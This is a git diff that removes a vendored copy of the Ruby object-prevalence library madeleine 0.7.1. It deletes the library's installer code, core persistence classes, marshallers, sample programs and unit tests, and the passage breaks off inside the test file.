- - include MetaConfigAPI - - def run_metaconfigs - eval_file_ifexist "#{srcdir_root()}/metaconfig" - end - - - def exectask( task ) - if task == 'show' - exec_show - else - try task - end - end - - def try( task ) - $stderr.printf "#{File.basename $0}: entering %s phase...\n", task if verbose? - begin - __send__ 'exec_' + task - rescue - $stderr.printf "%s failed\n", task - raise - end - $stderr.printf "#{File.basename $0}: %s done.\n", task if verbose? - end - - # - # processing arguments - # - - def parsearg_global - task_re = /\A(?:#{TASKS.map {|i| i[0] }.join '|'})\z/ - - while arg = ARGV.shift - case arg - when /\A\w+\z/ - task_re === arg or raise InstallError, "wrong task: #{arg}" - return arg - - when '-q', '--quiet' - @options['verbose'] = false - - when '--verbose' - @options['verbose'] = true - - when '-h', '--help' - print_usage $stdout - exit 0 - - when '-v', '--version' - puts "#{File.basename $0} version #{Version}" - exit 0 - - when '--copyright' - puts Copyright - exit 0 - - else - raise InstallError, "unknown global option '#{arg}'" - end - end - - raise InstallError, "No task or global option given. -Typical installation procedure is: - $ ruby #{File.basename $0} config - $ ruby #{File.basename $0} setup - # ruby #{File.basename $0} install (may require root privilege) -" - end - - - def parsearg_TASK( task ) - mid = "parsearg_#{task}" - if respond_to? mid, true - __send__ mid - else - ARGV.empty? or - raise InstallError, "#{task}: unknown options: #{ARGV.join ' '}" - end - end - - def parsearg_config - re = /\A--(#{ConfigTable.keys.join '|'})(?:=(.*))?\z/ - @options['config-opt'] = [] - - while i = ARGV.shift - if /\A--?\z/ === i - @options['config-opt'] = ARGV.dup - break - end - m = re.match(i) or raise InstallError, "config: unknown option #{i}" - name, value = m.to_a[1,2] - if value - if ConfigTable.bool_config?(name) - /\A(y(es)?|n(o)?|t(rue)?|f(alse))\z/i === value or raise InstallError, "config: --#{name} allows only yes/no for argument" - value = (/\Ay(es)?|\At(rue)/i === value) ? 'yes' : 'no' - end - else - ConfigTable.bool_config?(name) or raise InstallError, "config: --#{name} requires argument" - value = 'yes' - end - @config[name] = value - end - end - - def parsearg_install - @options['no-harm'] = false - @options['install-prefix'] = '' - while a = ARGV.shift - case a - when /\A--no-harm\z/ - @options['no-harm'] = true - when /\A--prefix=(.*)\z/ - path = $1 - path = File.expand_path(path) unless path[0,1] == '/' - @options['install-prefix'] = path - else - raise InstallError, "install: unknown option #{a}" - end - end - end - - - def print_usage( out ) - out.puts 'Typical Installation Procedure:' - out.puts " $ ruby #{File.basename $0} config" - out.puts " $ ruby #{File.basename $0} setup" - out.puts " # ruby #{File.basename $0} install (may require root privilege)" - out.puts - out.puts 'Detailed Usage:' - out.puts " ruby #{File.basename $0} " - out.puts " ruby #{File.basename $0} [] []" - - fmt = " %-20s %s\n" - out.puts - out.puts 'Global options:' - out.printf fmt, '-q,--quiet', 'suppress message outputs' - out.printf fmt, ' --verbose', 'output messages verbosely' - out.printf fmt, '-h,--help', 'print this message' - out.printf fmt, '-v,--version', 'print version and quit' - out.printf fmt, ' --copyright', 'print copyright and quit' - - out.puts - out.puts 'Tasks:' - TASKS.each do |name, desc| - out.printf " %-10s %s\n", name, desc - end - - out.puts - out.puts 'Options for config:' - ConfigTable.each_definition do |name, (default, arg, desc, default2)| - out.printf " %-20s %s [%s]\n", - '--'+ name + (ConfigTable.bool_config?(name) ? '' : '='+arg), - desc, - default2 || default - end - out.printf " %-20s %s [%s]\n", - '--rbconfig=path', 'your rbconfig.rb to load', "running ruby's" - - out.puts - out.puts 'Options for install:' - out.printf " %-20s %s [%s]\n", - '--no-harm', 'only display what to do if given', 'off' - out.printf " %-20s %s [%s]\n", - '--prefix', 'install path prefix', '$prefix' - - out.puts - end - - # - # config - # - - def exec_config - super - @config.save - end - - # - # show - # - - def exec_show - ConfigTable.each_name do |k| - v = @config.get_raw(k) - if not v or v.empty? - v = '(not specified)' - end - printf "%-10s %s\n", k, v - end - end - -end - -### end toplevel.rb - -if $0 == __FILE__ - begin - ToplevelInstaller.invoke - rescue - raise if $DEBUG - $stderr.puts $!.message - $stderr.puts "Try 'ruby #{$0} --help' for detailed usage." - exit 1 - end -end diff --git a/vendor/madeleine-0.7.1/lib/madeleine.rb b/vendor/madeleine-0.7.1/lib/madeleine.rb deleted file mode 100755 index 3b6f8fdb..00000000 --- a/vendor/madeleine-0.7.1/lib/madeleine.rb +++ /dev/null @@ -1,420 +0,0 @@ -# -# Madeleine - Ruby Object Prevalence -# -# Author:: Anders Bengtsson -# Copyright:: Copyright (c) 2003-2004 -# -# Usage: -# -# require 'madeleine' -# -# madeleine = SnapshotMadeleine.new("my_example_storage") { -# SomeExampleApplication.new() -# } -# -# madeleine.execute_command(command) -# - -module Madeleine - - require 'thread' - require 'sync' - require 'madeleine/files' - - MADELEINE_VERSION = "0.7.1" - - class SnapshotMadeleine - - # Builds a new Madeleine instance. If there is a snapshot available - # then the system will be created from that, otherwise - # new_system will be used. The state of the system will - # then be restored from the command logs. - # - # You can provide your own snapshot marshaller, for instance using - # YAML or SOAP, instead of Ruby's built-in marshaller. The - # snapshot_marshaller must respond to - # load(stream) and dump(object, stream). You - # must use the same marshaller every time for a system. - # - # See: DefaultSnapshotMadeleine - # - # * directory_name - Storage directory to use. Will be created if needed. - # * snapshot_marshaller - Marshaller to use for system snapshots. (Optional) - # * new_system_block - Block to create a new system (if no stored system was found). - def self.new(directory_name, snapshot_marshaller=Marshal, &new_system_block) - log_factory = DefaultLogFactory.new - logger = Logger.new(directory_name, - log_factory) - snapshotter = Snapshotter.new(directory_name, - snapshot_marshaller) - lock = DefaultLock.new - recoverer = Recoverer.new(directory_name, - snapshot_marshaller) - system = recoverer.recover_snapshot(new_system_block) - - executer = Executer.new(system) - recoverer.recover_logs(executer) - DefaultSnapshotMadeleine.new(system, logger, snapshotter, lock, executer) - end - end - - class DefaultSnapshotMadeleine - - # The prevalent system - attr_reader :system - - def initialize(system, logger, snapshotter, lock, executer) - @system = system - @logger = logger - @snapshotter = snapshotter - @lock = lock - @executer = executer - - @closed = false - end - - # Execute a command on the prevalent system. - # - # Commands must have a method execute(aSystem). - # Otherwise an error, Madeleine::InvalidCommandException, - # will be raised. - # - # The return value from the command's execute() method is returned. - # - # * command - The command to execute on the system. - def execute_command(command) - verify_command_sane(command) - @lock.synchronize { - raise "closed" if @closed - @logger.store(command) - @executer.execute(command) - } - end - - # Execute a query on the prevalent system. - # - # Only differs from execute_command in that the command/query isn't logged, and - # therefore isn't allowed to modify the system. A shared lock is held, preventing others - # from modifying the system while the query is running. - # - # * query - The query command to execute - def execute_query(query) - @lock.synchronize_shared { - @executer.execute(query) - } - end - - # Take a snapshot of the current system. - # - # You need to regularly take a snapshot of a running system, - # otherwise the logs will grow big and restarting the system will take a - # long time. Your backups must also be done from the snapshot files, - # since you can't make a consistent backup of a live log. - # - # A practical way of doing snapshots is a timer thread: - # - # Thread.new(madeleine) {|madeleine| - # while true - # sleep(60 * 60 * 24) # 24 hours - # madeleine.take_snapshot - # end - # } - def take_snapshot - @lock.synchronize { - @logger.close - @snapshotter.take(@system) - @logger.reset - } - end - - # Close the system. - # - # The log file is closed and no new commands can be received - # by this Madeleine. - def close - @lock.synchronize { - @logger.close - @closed = true - } - end - - private - - def verify_command_sane(command) - unless command.respond_to?(:execute) - raise InvalidCommandException.new("Commands must have an 'execute' method") - end - end - end - - class InvalidCommandException < Exception - end - - # - # Internal classes below - # - - FILE_COUNTER_SIZE = 21 #:nodoc: - - class DefaultLock #:nodoc: - - def initialize - @lock = Sync.new - end - - def synchronize(&block) - @lock.synchronize(&block) - end - - def synchronize_shared(&block) - @lock.synchronize(:SH, &block) - end - end - - class Executer #:nodoc: - - def initialize(system) - @system = system - @in_recovery = false - end - - def execute(command) - begin - command.execute(@system) - rescue - raise unless @in_recovery - end - end - - def recovery - begin - @in_recovery = true - yield - ensure - @in_recovery = false - end - end - end - - class Recoverer #:nodoc: - - def initialize(directory_name, marshaller) - @directory_name, @marshaller = directory_name, marshaller - end - - def recover_snapshot(new_system_block) - system = nil - id = SnapshotFile.highest_id(@directory_name) - if id > 0 - snapshot_file = SnapshotFile.new(@directory_name, id).name - open(snapshot_file, "rb") {|snapshot| - system = @marshaller.load(snapshot) - } - else - system = new_system_block.call - end - system - end - - def recover_logs(executer) - executer.recovery { - CommandLog.log_file_names(@directory_name, FileService.new).each {|file_name| - open(@directory_name + File::SEPARATOR + file_name, "rb") {|log| - recover_log(executer, log) - } - } - } - end - - private - - def recover_log(executer, log) - while ! log.eof? - command = Marshal.load(log) - executer.execute(command) - end - end - end - - class NumberedFile #:nodoc: - - def initialize(path, name, id) - @path, @name, @id = path, name, id - end - - def name - result = @path - result += File::SEPARATOR - result += sprintf("%0#{FILE_COUNTER_SIZE}d", @id) - result += '.' - result += @name - end - end - - class CommandLog #:nodoc: - - def self.log_file_names(directory_name, file_service) - return [] unless file_service.exist?(directory_name) - result = file_service.dir_entries(directory_name).select {|name| - name =~ /^\d{#{FILE_COUNTER_SIZE}}\.command_log$/ - } - result.each {|name| name.untaint } - result.sort! - result - end - - def initialize(path, file_service) - id = self.class.highest_log(path, file_service) + 1 - numbered_file = NumberedFile.new(path, "command_log", id) - @file = file_service.open(numbered_file.name, 'wb') - end - - def close - @file.close - end - - def store(command) - Marshal.dump(command, @file) - @file.flush - @file.fsync - end - - def self.highest_log(directory_name, file_service) - highest = 0 - log_file_names(directory_name, file_service).each {|file_name| - match = /^(\d{#{FILE_COUNTER_SIZE}})/.match(file_name) - n = match[1].to_i - if n > highest - highest = n - end - } - highest - end - end - - class DefaultLogFactory #:nodoc: - def create_log(directory_name) - CommandLog.new(directory_name, FileService.new) - end - end - - class Logger #:nodoc: - - def initialize(directory_name, log_factory) - @directory_name = directory_name - @log_factory = log_factory - @log = nil - @pending_tick = nil - ensure_directory_exists - end - - def ensure_directory_exists - if ! File.exist?(@directory_name) - Dir.mkdir(@directory_name) - end - end - - def reset - close - delete_log_files - end - - def store(command) - if command.kind_of?(Madeleine::Clock::Tick) - @pending_tick = command - else - if @pending_tick - internal_store(@pending_tick) - @pending_tick = nil - end - internal_store(command) - end - end - - def internal_store(command) - if @log.nil? - open_new_log - end - @log.store(command) - end - - def close - return if @log.nil? - @log.close - @log = nil - end - - private - - def delete_log_files - Dir.glob(@directory_name + File::SEPARATOR + "*.command_log").each {|name| - name.untaint - File.delete(name) - } - end - - def open_new_log - @log = @log_factory.create_log(@directory_name) - end - end - - class SnapshotFile < NumberedFile #:nodoc: - - def self.highest_id(directory_name) - return 0 unless File.exist?(directory_name) - suffix = "snapshot" - highest = 0 - Dir.foreach(directory_name) {|file_name| - match = /^(\d{#{FILE_COUNTER_SIZE}}\.#{suffix}$)/.match(file_name) - next unless match - n = match[1].to_i - if n > highest - highest = n - end - } - highest - end - - def self.next(directory_name) - new(directory_name, highest_id(directory_name) + 1) - end - - def initialize(directory_name, id) - super(directory_name, "snapshot", id) - end - end - - class Snapshotter #:nodoc: - - def initialize(directory_name, marshaller) - @directory_name, @marshaller = directory_name, marshaller - end - - def take(system) - numbered_file = SnapshotFile.next(@directory_name) - name = numbered_file.name - open(name + '.tmp', 'wb') {|snapshot| - @marshaller.dump(system, snapshot) - snapshot.flush - snapshot.fsync - } - File.rename(name + '.tmp', name) - end - end - - module Clock #:nodoc: - class Tick #:nodoc: - - def initialize(time) - @time = time - end - - def execute(system) - system.clock.forward_to(@time) - end - end - end -end - -SnapshotMadeleine = Madeleine::SnapshotMadeleine - diff --git a/vendor/madeleine-0.7.1/lib/madeleine/automatic.rb b/vendor/madeleine-0.7.1/lib/madeleine/automatic.rb deleted file mode 100755 index 447d5ec3..00000000 --- a/vendor/madeleine-0.7.1/lib/madeleine/automatic.rb +++ /dev/null @@ -1,418 +0,0 @@ -require 'yaml' -require 'madeleine/zmarshal' -require 'soap/marshal' - -module Madeleine - -# Automatic commands for Madeleine -# -# Author:: Stephen Sykes -# Copyright:: Copyright (C) 2003-2004 -# Version:: 0.41 -# -# This module provides a way of automatically generating command objects for madeleine to -# store. It works by making a proxy object for all objects of any classes in which it is included. -# Method calls to these objects are intercepted, and stored as a command before being -# passed on to the real receiver. The command objects remember which object the command was -# destined for by using a pair of internal ids that are contained in each of the proxy objects. -# -# There is also a mechanism for specifying which methods not to intercept calls to by using -# automatic_read_only, and its opposite automatic_read_write. -# -# Should you require it, the snapshots can be stored as yaml, and can be compressed. Just pass -# the marshaller you want to use as the second argument to AutomaticSnapshotMadeleine.new. -# If the passed marshaller did not successfully deserialize the latest snapshot, the system -# will try to automatically detect and read either Marshal, YAML, SOAP, or their corresponding -# compressed versions. -# -# This module is designed to work correctly in the case there are multiple madeleine systems in use by -# a single program, and is also safe to use with threads. -# -# Usage: -# -# require 'madeleine' -# require 'madeleine/automatic' -# -# class A -# include Madeleine::Automatic::Interceptor -# attr_reader :foo -# automatic_read_only :foo -# def initialize(param1, ...) -# ... -# end -# def some_method(paramA, ...) -# ... -# end -# automatic_read_only -# def bigfoo -# foo.upcase -# end -# end -# -# mad = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) } -# -# mad.system.some_method(paramA, ...) # logged as a command by madeleine -# print mad.foo # not logged -# print mad.bigfoo # not logged -# mad.take_snapshot -# - - module Automatic -# -# This module should be included (at the top) in any classes that are to be persisted. -# It will intercept method calls and make sure they are converted into commands that are logged by Madeleine. -# It does this by returning a Prox object that is a proxy for the real object. -# -# It also handles automatic_read_only and automatic_read_write, allowing user specification of which methods -# should be made into commands -# - module Interceptor -# -# When included, redefine new so that we can return a Prox object instead, and define methods to handle -# keeping track of which methods are read only -# - def self.included(klass) - class < "") - x - end - - end - -# -# The AutomaticSnapshotMadeleine class contains an instance of the persister -# (default is SnapshotMadeleine) and provides additional automatic functionality. -# -# The class is instantiated the same way as SnapshotMadeleine: -# madeleine_sys = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) } -# The second initialisation parameter is the persister. Supported persisters are: -# -# * Marshal (default) -# * YAML -# * SOAP::Marshal -# * Madeleine::ZMarshal.new(Marshal) -# * Madeleine::ZMarshal.new(YAML) -# * Madeleine::ZMarshal.new(SOAP::Marshal) -# -# The class keeps a record of all the systems that currently exist. -# Each instance of the class keeps a record of Prox objects in that system by internal id (myid). -# -# We also add functionality to take_snapshot in order to set things up so that the custom Prox object -# marshalling will work correctly. -# - class AutomaticSnapshotMadeleine - attr_accessor :marshaller - attr_reader :list, :sysid - - def initialize(directory_name, marshaller=Marshal, persister=SnapshotMadeleine, &new_system_block) - @sysid ||= Time.now.to_f.to_s + Thread.current.object_id.to_s # Gererate a new sysid - @myid_count = 0 - @list = {} - Thread.current[:system] = self # during system startup system should not create commands - Thread.critical = true - @@systems ||= {} # holds systems by sysid - @@systems[@sysid] = self - Thread.critical = false - @marshaller = marshaller # until attrb - begin - @persister = persister.new(directory_name, Automatic_marshaller, &new_system_block) - @list.delete_if {|k,v| # set all the prox objects that now exist to have the right sysid - begin - ObjectSpace._id2ref(v).sysid = @sysid - false - rescue RangeError - true # Id was to a GC'd object, delete it - end - } - ensure - Thread.current[:system] = false - end - end -# -# Add a proxy object to the list, return the myid for that object -# - def add(proxo) - @list[@myid_count += 1] = proxo.object_id - @myid_count - end -# -# Restore a marshalled proxy object to list - myid_count is increased as required. -# If the object already exists in the system then the existing object must be used. -# - def restore(proxo) - if (@list[proxo.myid]) - proxo = myid2ref(proxo.myid) - else - @list[proxo.myid] = proxo.object_id - @myid_count = proxo.myid if (@myid_count < proxo.myid) - end - proxo - end -# -# Returns a reference to the object indicated by the internal id supplied. -# - def myid2ref(myid) - raise "Internal id #{myid} not found" unless objid = @list[myid] - ObjectSpace._id2ref(objid) - end -# -# Take a snapshot of the system. -# - def take_snapshot - begin - Thread.current[:system] = self - Thread.current[:snapshot_memory] = {} - @persister.take_snapshot - ensure - Thread.current[:snapshot_memory] = nil - Thread.current[:system] = false - end - end -# -# Returns the hash containing the systems. -# - def AutomaticSnapshotMadeleine.systems - @@systems - end -# -# Close method changes the sysid for Prox objects so they can't be mistaken for real ones in a new -# system before GC gets them -# - def close - begin - @list.each_key {|k| myid2ref(k).sysid = nil} - rescue RangeError - # do nothing - end - @persister.close - end - -# -# Pass on any other calls to the persister -# - def method_missing(symbol, *args, &block) - @persister.send(symbol, *args, &block) - end - end - - - module Deserialize #:nodoc: -# -# Detect format of an io stream. Leave it rewound. -# - def Deserialize.detect(io) - c = io.getc - c1 = io.getc - io.rewind - if (c == Marshal::MAJOR_VERSION && c1 <= Marshal::MINOR_VERSION) - Marshal - elsif (c == 31 && c1 == 139) # gzip magic numbers - ZMarshal - else - while (s = io.gets) - break if (s !~ /^\s*$/) # ignore blank lines - end - io.rewind - if (s && s =~ /^\s*<\?[xX][mM][lL]/) # " e - io.rewind - detected_marshaller = detect(io) - if (detected_marshaller == ZMarshal) - zio = Zlib::GzipReader.new(io) - detected_zmarshaller = detect(zio) - zio.finish - io.rewind - if (detected_zmarshaller) - ZMarshal.new(detected_zmarshaller).load(io) - else - raise e - end - elsif (detected_marshaller) - detected_marshaller.load(io) - else - raise e - end - end - end - end - - end -end - -AutomaticSnapshotMadeleine = Madeleine::Automatic::AutomaticSnapshotMadeleine diff --git a/vendor/madeleine-0.7.1/lib/madeleine/clock.rb b/vendor/madeleine-0.7.1/lib/madeleine/clock.rb deleted file mode 100755 index 012c6f27..00000000 --- a/vendor/madeleine-0.7.1/lib/madeleine/clock.rb +++ /dev/null @@ -1,94 +0,0 @@ -# -# Copyright(c) Anders Bengtsson 2003 -# - -require 'madeleine' - -module Madeleine - module Clock - - # Deprecated. Use SnapshotMadeleine instead. - class ClockedSnapshotMadeleine < ::Madeleine::SnapshotMadeleine # :nodoc: - end - - # Let your system extend this module if you need to access the - # machine time. Used together with a TimeActor that keeps - # the clock current. - module ClockedSystem - - # Returns this system's Clock. - def clock - unless defined? @clock - @clock = Clock.new - end - @clock - end - end - - # Sends clock ticks to update a ClockedSystem, so that time can be - # dealt with in a deterministic way. - class TimeActor - - # Create and launch a new TimeActor - # - # * madeleine - The SnapshotMadeleine instance to work on. - # * delay - Delay between ticks in seconds (Optional). - def self.launch(madeleine, delay=0.1) - result = new(madeleine, delay) - result - end - - # Stops the TimeActor. - def destroy - @is_destroyed = true - @thread.wakeup - @thread.join - end - - private_class_method :new - - private - - def initialize(madeleine, delay) #:nodoc: - @madeleine = madeleine - @is_destroyed = false - send_tick - @thread = Thread.new { - until @is_destroyed - sleep(delay) - send_tick - end - } - end - - def send_tick - @madeleine.execute_command(Tick.new(Time.now)) - end - end - - # Keeps track of time in a ClockedSystem. - class Clock - # Returns the system's time as a Ruby Time. - attr_reader :time - - def initialize - @time = Time.at(0) - end - - def forward_to(newTime) - @time = newTime - end - end - - # - # Internal classes below - # - - # Deprecated. Merged into default implementation. - class TimeOptimizingLogger < ::Madeleine::Logger # :nodoc: - end - - end -end - -ClockedSnapshotMadeleine = Madeleine::Clock::ClockedSnapshotMadeleine diff --git a/vendor/madeleine-0.7.1/lib/madeleine/files.rb b/vendor/madeleine-0.7.1/lib/madeleine/files.rb deleted file mode 100755 index 4276d8d5..00000000 --- a/vendor/madeleine-0.7.1/lib/madeleine/files.rb +++ /dev/null @@ -1,19 +0,0 @@ -# -# Wrapper for Ruby's file services, replaced during testing -# so we can run tests without touching a real filesystem. -# - -class FileService - - def open(*args) - super(*args) - end - - def exist?(name) - File.exist?(name) - end - - def dir_entries(name) - Dir.entries(name) - end -end diff --git a/vendor/madeleine-0.7.1/lib/madeleine/zmarshal.rb b/vendor/madeleine-0.7.1/lib/madeleine/zmarshal.rb deleted file mode 100755 index b01210ec..00000000 --- a/vendor/madeleine-0.7.1/lib/madeleine/zmarshal.rb +++ /dev/null @@ -1,60 +0,0 @@ -# -# Author:: Anders Bengtsson -# Copyright:: Copyright (c) 2004 -# - -require 'zlib' - -module Madeleine - # - # Snapshot marshaller for compressed snapshots. - # - # Compresses the snapshots created by another marshaller. Uses either - # Marshal (the default) or another supplied marshaller. - # - # Uses zlib to do on-the-fly compression/decompression. - # - # ZMarshal works with Ruby's own Marshal and YAML, but not with SOAP - # marshalling. - # - # Usage: - # - # require 'madeleine' - # require 'madeleine/zmarshal' - # - # marshaller = Madeleine::ZMarshal.new(YAML) - # madeleine = SnapshotMadeleine.new("my_example_storage", marshaller) { - # SomeExampleApplication.new() - # } - # - class ZMarshal - - def initialize(marshaller=Marshal) - @marshaller = marshaller - end - - def load(stream) - zstream = Zlib::GzipReader.new(stream) - begin - # Buffer into a string first, since GzipReader can't handle - # Marshal's 0-sized reads and SOAP can't handle streams at all. - # In a bright future we can revert to reading directly from the - # stream again. - buffer = zstream.read - return @marshaller.load(buffer) - ensure - zstream.finish - end - end - - def dump(system, stream) - zstream = Zlib::GzipWriter.new(stream) - begin - @marshaller.dump(system, zstream) - ensure - zstream.finish - end - nil - end - end -end diff --git a/vendor/madeleine-0.7.1/madeleine.gemspec b/vendor/madeleine-0.7.1/madeleine.gemspec deleted file mode 100755 index cd5d38f8..00000000 --- a/vendor/madeleine-0.7.1/madeleine.gemspec +++ /dev/null @@ -1,23 +0,0 @@ - -require 'rubygems' - -spec = Gem::Specification.new do |s| - s.name = 'madeleine' - s.version = '0.7.1' - s.platform = Gem::Platform::RUBY - s.required_ruby_version = ">= 1.8.1" - s.summary = "Madeleine is a Ruby implementation of Object Prevalence" - s.require_path = 'lib' - s.autorequire = 'madeleine' - s.author = "Anders Bengtsson" - s.email = "ndrsbngtssn@yahoo.se" - s.homepage = "http://madeleine.sourceforge.net" - s.files = Dir.glob("lib/**/*.rb") - s.files += Dir.glob("samples/**/*.rb") - s.files += Dir.glob("contrib/**/*.rb") - s.files += ['README', 'NEWS', 'COPYING'] -end - -if $0 == __FILE__ - Gem::Builder.new(spec).build -end diff --git a/vendor/madeleine-0.7.1/samples/.cvsignore b/vendor/madeleine-0.7.1/samples/.cvsignore deleted file mode 100755 index 5ca652ac..00000000 --- a/vendor/madeleine-0.7.1/samples/.cvsignore +++ /dev/null @@ -1,3 +0,0 @@ -dictionary-base -painter-demo -clock-demo diff --git a/vendor/madeleine-0.7.1/samples/clock_click.rb b/vendor/madeleine-0.7.1/samples/clock_click.rb deleted file mode 100755 index c11d16a3..00000000 --- a/vendor/madeleine-0.7.1/samples/clock_click.rb +++ /dev/null @@ -1,73 +0,0 @@ -# -# Simple example of using time with Madeleine. -# - -$LOAD_PATH.unshift(".." + File::SEPARATOR + "lib") - -require 'madeleine/clock' -require 'tk' - -# The Clicker keeps track of when it was last clicked. -# -# To access the time it extends ClockedSystem, which provides -# it with the 'clock' attribute. -# -class Clicker - include Madeleine::Clock::ClockedSystem - - def initialize - @last_clicked = nil - end - - def click - @last_clicked = clock.time - end - - def last_clicked - return '-' if @last_clicked.nil? - @last_clicked.to_s - end -end - -# A command to update the Clicker with. -# -class Click - def execute(system) - system.click - end -end - -# Launch a ClockedSnapshotMadeleine. -# -# ClockedSnapshotMadeleine works like the regular SnapshotMadeleine, but -# optimizes away redundant commands from TimeActor. -# -madeleine = ClockedSnapshotMadeleine.new("clock-demo") { Clicker.new } - -# Launch the TimeActor. -# -# This provides time commands, without which the system's time would stand still. -# -Madeleine::Clock::TimeActor.launch(madeleine) - -clicker = madeleine.system - -# The GUI - -root = TkRoot.new() { title "Madeleine Clock Example" } -label = TkLabel.new(root) { - text "Last clicked " + clicker.last_clicked - width 40 - pack -} -button = TkButton.new(root) { - text 'Click' - command proc { - madeleine.execute_command(Click.new) - label.text("Last clicked " + clicker.last_clicked) - } - pack -} - -Tk.mainloop - diff --git a/vendor/madeleine-0.7.1/samples/dictionary_client.rb b/vendor/madeleine-0.7.1/samples/dictionary_client.rb deleted file mode 100755 index 596eab5f..00000000 --- a/vendor/madeleine-0.7.1/samples/dictionary_client.rb +++ /dev/null @@ -1,23 +0,0 @@ -# -# Dictionary client -# -# See dictionary_server.rb for details -# - -require 'drb' - -DRb.start_service -dictionary = DRbObject.new(nil, "druby://localhost:1234") - -if ARGV.length == 1 - puts dictionary.lookup(ARGV[0]) -elsif ARGV.length == 2 - dictionary.add(ARGV[0], ARGV[1]) - puts "Stored" -else - puts "Usage: dictionary_client []" -end - - - - diff --git a/vendor/madeleine-0.7.1/samples/dictionary_server.rb b/vendor/madeleine-0.7.1/samples/dictionary_server.rb deleted file mode 100755 index 76c8e925..00000000 --- a/vendor/madeleine-0.7.1/samples/dictionary_server.rb +++ /dev/null @@ -1,94 +0,0 @@ -# -# A dictionary server using Distributed Ruby (DRb). -# -# All modifications to the dictionary are done as commands, -# while read-only queries (i.e 'lookup') are done directly. -# -# First launch this server in the background, then use -# dictionary_client.rb to look up and add items to the -# dictionary. -# You can kill the server at any time. The contents of the -# dictionary will still be there when you restart it. -# -# DRb is available at http://raa.ruby-lang.org/list.rhtml?name=druby -# - -$LOAD_PATH.unshift(".." + File::SEPARATOR + "lib") -require 'madeleine' - -require 'drb' - - -class Dictionary - def initialize - @data = {} - end - - def add(key, value) - @data[key] = value - end - - def lookup(key) - @data[key] - end -end - - -class Addition - def initialize(key, value) - @key, @value = key, value - end - - def execute(system) - system.add(@key, @value) - end -end - - -class Lookup - def initialize(key) - @key = key - end - - def execute(system) - system.lookup(@key) - end -end - - -class DictionaryServer - - def initialize(madeleine) - @madeleine = madeleine - @dictionary = madeleine.system - end - - def add(key, value) - # When adding a new key-value pair we modify the system, so - # this operation has to be done through a command. - @madeleine.execute_command(Addition.new(key, value)) - end - - def lookup(key) - # A lookup is a read-only operation, so we can do it as a non-logged - # query. If we weren't worried about concurrency problems we could - # have just called @dictionary.lookup(key) directly instead. - @madeleine.execute_query(Lookup.new(key)) - end -end - - -madeleine = SnapshotMadeleine.new("dictionary-base") { Dictionary.new } - -Thread.new(madeleine) { - puts "Taking snapshot every 30 seconds." - while true - sleep(30) - madeleine.take_snapshot - end -} - -DRb.start_service("druby://localhost:1234", - DictionaryServer.new(madeleine)) -DRb.thread.join - diff --git a/vendor/madeleine-0.7.1/samples/painter.rb b/vendor/madeleine-0.7.1/samples/painter.rb deleted file mode 100755 index b9d21658..00000000 --- a/vendor/madeleine-0.7.1/samples/painter.rb +++ /dev/null @@ -1,60 +0,0 @@ -# -# Simple drawing program to show Madeleine's logging feature. -# -# When you restart the program, your old artwork is still there. -# -# (Note: The GUI components used here aren't marshal-able, -# so in a real app you would have to do custom marshaling for -# the Painter class to get working snapshots. Then again, in a real -# app you wouldn't use the GUI components to hold the app's data, -# would you?) -# - -$LOAD_PATH.unshift(".." + File::SEPARATOR + "lib") - -require 'madeleine' - -require 'tkclass' - -class Painter - - def initialize(canvas) - @canvas = canvas - end - - def draw(x, y) - line = Line.new(@canvas, x, y, x + 1, y + 1) - line.fill('black') - end -end - -class PaintCommand - - def initialize(x, y) - @x, @y = x, y - end - - def execute(system) - system.draw(@x, @y) - end -end - -root = TkRoot.new() { title "Madeleine Painter" } -canvas = Canvas.new(root) -canvas.pack - -$madeleine = Madeleine::SnapshotMadeleine.new("painter-demo") { Painter.new(canvas) } - -canvas.bind("1", - proc {|x, y| - $madeleine.execute_command(PaintCommand.new(x, y)) - }, - "%x %y") -canvas.bind("B1-Motion", - proc {|x, y| - $madeleine.execute_command(PaintCommand.new(x, y)) - }, - "%x %y") - -Tk.mainloop - diff --git a/vendor/madeleine-0.7.1/test/test.rb b/vendor/madeleine-0.7.1/test/test.rb deleted file mode 100755 index e252a53f..00000000 --- a/vendor/madeleine-0.7.1/test/test.rb +++ /dev/null @@ -1,320 +0,0 @@ -#!/usr/bin/env ruby -# - -$LOAD_PATH.unshift("lib") -$LOAD_PATH.unshift("test") - -require 'madeleine' -require 'test/unit' - - -class Append - def initialize(value) - @value = value - end - - def execute(system) - system << @value - end -end - - -module TestUtils - def delete_directory(directory_name) - return unless File.exists?(directory_name) - Dir.foreach(directory_name) do |file| - next if file == "." - next if file == ".." - assert(File.delete(directory_name + File::SEPARATOR + file) == 1, - "Unable to delete #{file}") - end - Dir.delete(directory_name) - end -end - - -class SnapshotMadeleineTest < Test::Unit::TestCase - include TestUtils - - def teardown - delete_directory(persistence_base) - end - - def persistence_base - "closing-test" - end - - def test_closing - madeleine = SnapshotMadeleine.new(persistence_base) { "hello" } - madeleine.close - assert_raises(RuntimeError) do - madeleine.execute_command(Append.new("world")) - end - end -end - -class NumberedFileTest < Test::Unit::TestCase - - def test_main - target = Madeleine::NumberedFile.new(File::SEPARATOR + "foo", "bar", 321) - assert_equal(File::SEPARATOR + "foo" + File::SEPARATOR + - "000000000000000000321.bar", - target.name) - end -end - - -class LoggerTest < Test::Unit::TestCase - include TestUtils - - def teardown - delete_directory("whoah") - end - - def test_creation - @log = Object.new - def @log.store(command) - unless defined? @commands - @commands = [] - end - @commands << command - end - def @log.commands - @commands - end - - log_factory = self - target = Madeleine::Logger.new("whoah", log_factory) - target.store(:foo) - assert(@log.commands.include?(:foo)) - end - - # Self-shunt - def create_log(directory_name) - @log - end -end - -class CommandVerificationTest < Test::Unit::TestCase - - def teardown - Dir.delete("foo") - end - - def test_broken_command - target = SnapshotMadeleine.new("foo") { :a_system } - assert_raises(Madeleine::InvalidCommandException) do - target.execute_command(:not_a_command) - end - end -end - - -class CustomMarshallerTest < Test::Unit::TestCase - include TestUtils - - def teardown - delete_directory(prevalence_base) - end - - def prevalence_base - "custom-marshaller-test" - end - - def madeleine_class - SnapshotMadeleine - end - - def test_changing_marshaller - @log = "" - marshaller = self - target = madeleine_class.new(prevalence_base, marshaller) { "hello world" } - target.take_snapshot - assert_equal("dump ", @log) - target = nil - - madeleine_class.new(prevalence_base, marshaller) { flunk() } - assert_equal("dump load ", @log) - end - - def load(io) - @log << "load " - assert_equal("dump data", io.read()) - end - - def dump(system, io) - @log << "dump " - assert_equal("hello world", system) - io.write("dump data") - end -end - - -class ErrorRaisingCommand - def execute(system) - 